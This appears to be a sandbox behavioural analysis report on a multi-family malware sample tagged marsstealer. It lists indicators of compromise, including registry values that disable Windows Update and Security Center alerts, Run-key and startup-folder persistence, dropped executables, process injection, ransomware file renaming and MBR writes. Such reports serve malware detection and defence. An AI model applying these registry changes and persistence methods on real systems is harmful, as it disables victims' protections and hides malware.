marsstealer | 0af783217a1279bf57eaea781dbe6d546ceb86cd02edc232e3892ff5f560d314

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysarddrvs.exe

Phorphiex payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000200000002addb-10151.dat	family_phorphiex
behavioral2/files/0x000400000002b992-30456.dat	family_phorphiex
behavioral2/files/0x000500000002a9c0-33256.dat	family_phorphiex
behavioral2/files/0x000200000002b9c8-33288.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
RagnarLocker
Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.
ransomware ragnarlocker
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral2/memory/4284-33038-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline
behavioral2/files/0x00020000000258a8-33224.dat	family_redline
behavioral2/memory/7856-33229-0x00000000005B0000-0x0000000000602000-memory.dmp	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
SquirrelWaffle is a simple downloader written in C++.
SquirrelWaffle.
downloader squirrelwaffle
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 8748 created 3312	8748	nxmr.exe	53
PID 8748 created 3312	8748	nxmr.exe	53
PID 6824 created 3312	6824	wupgrdsv.exe	53
PID 6824 created 3312	6824	wupgrdsv.exe	53
PID 1136 created 1928	1136	MsBuild.exe	49

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 24 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sylsplvc.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (7925) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Squirrelwaffle payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000002aa97-54.dat	squirrelwaffle

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/6824-29942-0x00007FF626F00000-0x00007FF627476000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7712	powershell.exe
10212	powershell.exe
7064	powershell.exe
7728	powershell.exe
5884	powershell.exe
8976	powershell.exe
7164	powershell.exe
5824	powershell.exe
7300	powershell.exe
7292	powershell.exe
9244	powershell.exe
5628	powershell.exe
11924	powershell.exe
11740	powershell.exe
9116	powershell.exe
7412	powershell.exe
8588	powershell.exe
9352	powershell.exe
9248	powershell.exe
6992	powershell.exe
2760	powershell.exe
9816	powershell.exe
5764	powershell.exe
7296	powershell.exe
5640	powershell.exe
5928	powershell.exe
9944	powershell.exe
8512	powershell.exe
9896	powershell.exe
396	powershell.exe
6740	powershell.exe
7256	powershell.exe
7520	powershell.exe
9840	powershell.exe
7376	powershell.exe
9752	powershell.exe
11368	powershell.exe
5916	powershell.exe
10192	powershell.exe
7780	powershell.exe
11840	powershell.exe
10852	powershell.exe
9040	powershell.exe
9348	powershell.exe
11856	powershell.exe
6876	powershell.exe
3920	powershell.exe
6392	powershell.exe
10648	powershell.exe
11948	powershell.exe
8784	powershell.exe
9728	powershell.exe
11016	powershell.exe
11644	powershell.exe
6504	powershell.exe
9616	powershell.exe
3396	powershell.exe
7624	powershell.exe
7940	powershell.exe
7484	powershell.exe
7960	powershell.exe
9524	powershell.exe
7192	powershell.exe
5736	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 30 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	15.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	9.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a636844a.exe	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	24.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	17.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	20.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	14.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_48B172E2.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	11.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	23.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	16.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	22.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	7.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	2.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	21.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	15.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	25.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	6.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	13.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	12.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	18.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	19.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 64 IoCs

pid	Process
2232	4363463463464363463463463.exe
228	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
3240	asena.exe
3144	Bomb.exe
3428	CryptoWall.exe
308	25.exe
4680	24.exe
2724	23.exe
680	22.exe
4584	21.exe
2744	20.exe
3560	19.exe
1776	18.exe
3140	17.exe
3524	16.exe
2224	15.exe
3468	14.exe
4648	13.exe
4076	12.exe
1248	11.exe
3792	10.exe
3464	8.exe
4936	9.exe
2712	7.exe
4856	6.exe
4008	5.exe
4928	4.exe
2308	3.exe
2228	2.exe
1652	1.exe
8748	nxmr.exe
8956	pp.exe
8912	sysmablsvr.exe
6824	wupgrdsv.exe
4352	peinf.exe
7440	r.exe
11072	install2.exe
8284	test.exe
4712	test.exe
7088	test.exe
9736	test.exe
8948	test.exe
6760	test.exe
9444	semgm.exe
9380	t1.exe
11980	AdminJDGCFBAFBF.exe
10368	AdminHIDGCFBFBF.exe
7076	SVC.exe
10388	3544436.exe
5588	newtpp.exe
7616	syschvard.exe
7572	RedLineStealer.exe
7948	IJDHCBGHJE.exe
12152	JJECGHJDBF.exe
11700	Operation6572.exe
9996	pei.exe
6008	973012736.exe
6148	pt.exe
7856	06082025.exe
6752	yihiKsom.exe
7456	jet.exe
7296	t.exe
9880	msedge.exe
7432	aaa.exe

Loads dropped DLL 64 IoCs

pid	Process
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
8284	test.exe
4712	test.exe
4712	test.exe
7088	test.exe
7088	test.exe
9736	test.exe
8948	test.exe
9736	test.exe
8948	test.exe
9736	test.exe
9736	test.exe
9736	test.exe
8948	test.exe
9736	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
9736	test.exe
8948	test.exe
6760	test.exe
6760	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
6760	test.exe
6760	test.exe
6760	test.exe
6760	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
8948	test.exe
6760	test.exe
8948	test.exe
8948	test.exe
6760	test.exe
4712	test.exe
4712	test.exe
4712	test.exe
4712	test.exe
4712	test.exe
6760	test.exe
6760	test.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 28 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	syschvard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sylsplvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sylsplvc.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\syschvard.exe"	newtpp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysarddrvs.exe"	t.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows\CurrentVersion\Run\a636844 = "C:\\a636844a\\a636844a.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*636844a = "C:\\Users\\Admin\\AppData\\Roaming\\a636844a.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmablsvr.exe"	pp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows\CurrentVersion\Run\pt = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\pt.exe "	pt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sylsplvc.exe"	pi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\*636844 = "C:\\a636844a\\a636844a.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-242286936-336880687-2152680090-1000\Software\Microsoft\Windows\CurrentVersion\Run\a636844a = "C:\\Users\\Admin\\AppData\\Roaming\\a636844a.exe"	explorer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	asena.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
90	raw.githubusercontent.com

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com
3	ipinfo.io
6	ip-addr.es
541	ip-addr.es
3	ip-addr.es
55	ipinfo.io
175	ip-addr.es
373	ip-addr.es
716	ip-addr.es
976	ip-addr.es

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
11748	tasklist.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 9444 set thread context of 9192	9444	semgm.exe	369
PID 11980 set thread context of 10680	11980	AdminJDGCFBAFBF.exe	379
PID 10368 set thread context of 10928	10368	AdminHIDGCFBFBF.exe	384
PID 10388 set thread context of 10972	10388	3544436.exe	390
PID 7572 set thread context of 4284	7572	RedLineStealer.exe	395
PID 7948 set thread context of 7012	7948	IJDHCBGHJE.exe	411
PID 12152 set thread context of 9556	12152	JJECGHJDBF.exe	416
PID 11216 set thread context of 6612	11216	Vhpcde.exe	468
PID 9068 set thread context of 1136	9068	DRIVEapplet.exe	477
PID 1820 set thread context of 11588	1820	66c0b1c0b0cf5_crypted.exe	482

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\LargeTile.scale-200.png	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\MLModels\nexturl.ort	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA\SONORA.INF	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Getstarted_10.2.41172.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxManifest.xml	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherAppList.targetsize-60_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\Assets\contrast-white\FeedbackHubAppList.targetsize-80.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28002.0_x64__8wekyb3d8bbwe\Fonts\segxsym.ttf	asena.exe
File created	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\theme\node_modules\@uifabric\utilities\config\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019DemoR_BypassTrial180-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1909.12456.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PeopleAppList.targetsize-72_altform-lightunplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-60_altform-lightunplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\TerminalApp.winmd	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp6-ul-phn.xrm-ms	asena.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-BA\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\SharePointTeamSite.ico	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_10.2102.13.0_x64__8wekyb3d8bbwe\Assets\contrast-white\NotepadLargeTile.scale-150.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\en-il\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nl-nl\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_neutral_~_8wekyb3d8bbwe\microsoft.system.package.metadata\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\Assets\contrast-black\FeedbackHubAppList.targetsize-48.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\uk-ua\ui-strings.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-256.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-commonjs\Spinner.js	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_Retail-ppd.xrm-ms	asena.exe
File created	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CAPSULES\CAPSULES.ELM	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_1.0.22.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-96_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\VoiceRecorderStoreLogo.scale-200_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_12104.1001.1.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.targetsize-32_altform-lightunplated.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\check-mark-1x.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sv_get.svg	asena.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_chroma\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-60.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_x64__8wekyb3d8bbwe\Assets\FeedbackHubAppList.targetsize-36.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\ca-es\ui-strings.js	asena.exe
File created	C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-30_altform-lightunplated_contrast-white.png	asena.exe
